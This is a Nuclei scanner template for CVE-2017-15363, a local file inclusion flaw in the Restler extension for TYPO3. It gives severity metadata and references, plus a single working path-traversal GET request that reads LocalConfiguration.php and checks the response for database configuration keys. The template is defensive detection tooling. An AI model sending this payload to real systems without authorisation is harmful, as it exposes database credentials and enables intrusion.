id: CVE-2017-15363

info:
  name: Luracast Restler 3.0.1 via TYPO3 Restler 1.7.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Luracast Restler 3.0.1 via TYPO3 Restler 1.7.1 is susceptible to local file inclusion in public/examples/resources/getsource.php. This could allow remote attackers to read arbitrary files via the file parameter.
  impact: |
    The vulnerability allows an attacker to include local files, potentially leading to unauthorized access or code execution.
  remediation: |
    Update to the latest version of Restler and TYPO3 to fix the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42985
    - https://extensions.typo3.org/extension/restler/
    - https://extensions.typo3.org/extension/download/restler/1.7.1/zip/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15363
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-15363
    cwe-id: CWE-22
    epss-score: 0.04393
    epss-percentile: 0.92189
    cpe: cpe:2.3:a:luracast:restler:*:*:*:*:*:typo3:*:*
  metadata:
    max-request: 1
    vendor: luracast
    product: restler
    framework: typo3
  tags: cve,cve2017,restler,lfi,edb,luracast,typo3

http:
  - method: GET
    path:
      - "{{BaseURL}}/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "'host'"
          - "'database'"
          - "'extConf'"
          - "'debug'"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d5d77978e4bf1b0b23b2a87fa7c05a6926a25d777143c35f1d08683b86f51284022100abd7302d98294c6c4265536959cb51aa5a70676c2d4de2f78ff37adc77d983e6:922c64590222798bb761d5b6d8e72950